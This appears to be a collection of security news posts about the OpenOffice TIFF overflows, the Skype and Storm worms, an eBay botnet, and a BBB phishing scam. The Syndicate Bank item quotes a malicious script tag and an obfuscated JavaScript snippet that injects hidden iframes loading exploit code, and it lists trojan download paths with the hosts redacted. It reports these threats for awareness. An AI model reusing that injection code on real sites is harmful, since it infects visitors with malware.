OpenOffice 2 TIFF Parsing Integer Overflow Vulnerabilities

Some vulnerabilities have been reported in OpenOffice, which potentially can be exploited by malicious people to compromise a user’s system.

The vulnerabilities are caused due to integer overflows when processing certain tags within TIFF images. This can be exploited to cause heap-based buffer overflows by e.g. tricking a user into opening a specially crafted document.

Successful exploitation may allow the execution of arbitrary code.

The vulnerabilities are reported in versions prior to 2.3.

Update to version 2.3.

1821 Comments Off

An instant-messaging worm has started spreading to PCs running Windows by using Skype to chat up potential victims in an attempt to convince them to download and run the malicious software.

The worm, described in a blog post written by eBay’s Skype subsidiary, can converse with victims in at least three different languages: Latvian, Russian, and English. Antivirus firms and eBay have already assigned a plethora of names to the digital pest, including Ramex (Skype), Pykspa (Symantec), Skipi (F-Secure), and Pykse (McAfee and others). 


Custom-built botnet steals eBay accounts

1821 Comments Off

Online auction site eBay has been targeted by identity thieves, who are wielding a botnet that uses brute force to uncover valid account login info, an Israeli security company said Monday.

The attacks against eBay may have started as long ago as early August, said Ofer Elzam, of Aladdin Knowledge Systems Ltd. Elzam and his researchers have not been successful in notifying eBay of their weekend findings.

According to Elzam, the product manager of Aladdin’s eSafe threat protection line, the brute force attacks are launched by a large botnet that the identity thieves have built using a sophisticated, multi-stage campaign that begins with compromised legitimate Web sites.

Better Business Bureau Scam Updated

1821 Comments Off

Websense┬« Security Labs(TM) has received reports of a new variant of an email attack that was originally launched early this year. The spoofed email purports to be from the Better Business Bureau (BBB). The message claims that a complaint has been filed against the recipient’s company.

Previously, the email attack contained an attachment that the victim would need to open in order to become infected. The new variant is slightly different.

The new message uses a tactic employed by other, more-successful email attacks, such as the recent Storm worm. Instead of including an attachment in the email, the body of the email contains a link to an external Web site from which the payload is downloaded if the link is accessed. This method allows the attack to bypass many attachment filters at the email gateway.

Storm adds YouTube lures

1821 Comments Off

The Storm Trojan / Bot continues to spread and is now using a YouTube video to lure users. The latest version has a variety of subjects and email bodies but now uses the filename video.exe.

Email subject example: Sheesh man what are you thinkin.

Upon connecting to the URL, which is referenced as a YouTube link but is actually a Storm IP, the same exploit code used in past attacks attempts to run. As in the past if users are not vulnerable they will get a page displayed that  requests they run the code manually such as in the screenshot below:

Syndicate Bank site compromised

1821 Comments Off

Websense® Security LabsT has discovered that the official site for Indian Syndicate Bank (, was compromised with a malicious script that attempts to exploit multiple vulnerabilities. When customers visit the web site, a malicious JavaScript file (e.js) is executed and creates two additional iframes in the page.

<script src=http://< URL REMOVED >/e.js></script>

Snippet of js code:

document.writeln(“\/\/xxxx mca By Mr.0wen\/\/”);
document.writeln(“document.write(unescape(\”%3CIFraMe < URL REMOVED >IFraMe < URL REMOVED >wIdth%3D%220%22%20heIght%3D

%220%22%20FraMebOrder %3D%220%22%3E%3C\/IFraMe%3E\”));”);
document.writeln(“\/\/xxxx mca By Mr.0wen\/\/”);

The JavaScript from e.js (seen above) creates two new IFRAME elements within the page. One IFRAME attempts to load exploit code and the other creates several additional IFRAMEs that contain advertisement-related content. The exploit will try to load a Trojan Downloader (qq.exe) which will contact a remote server to download the following Trojan Downloader and Backdoor:

http://< URL REMOVED >/hxw/hx/200512.exe
http://< URL REMOVED >/hxw/hx/dd.exe

The site appears to have been cleaned a few hours ago.

Storm Warning: Worm Threat Escalates

1821 Comments Off

The Storm worm has grown into an online siege 10 times larger than any other e-mail attack in the last two years, amassing a botnet of nearly 2 million computers, with worrying implications, researchers say.

Before Storm, an average day saw about 1 million virus-laden e-mails crossing the Internet, says Adam Swidler, senior manager of software security firm Postini. On July 24, researchers tracked 46.2 million malicious messages, more than 99% of them from the Storm worm.

The number of zombie computers the Storm worm authors have amassed has skyrocketed in the past two months, says SecureWorks senior researcher Joe Stewart. From the first of January to the end of May, there were 2,815 bots launching Storm attacks. By the end of July, that number had leaped to 1.7 million. “It’s been building with exponential growth,” says Stewart. “It’s one of the largest botnets I’ve ever heard of.”
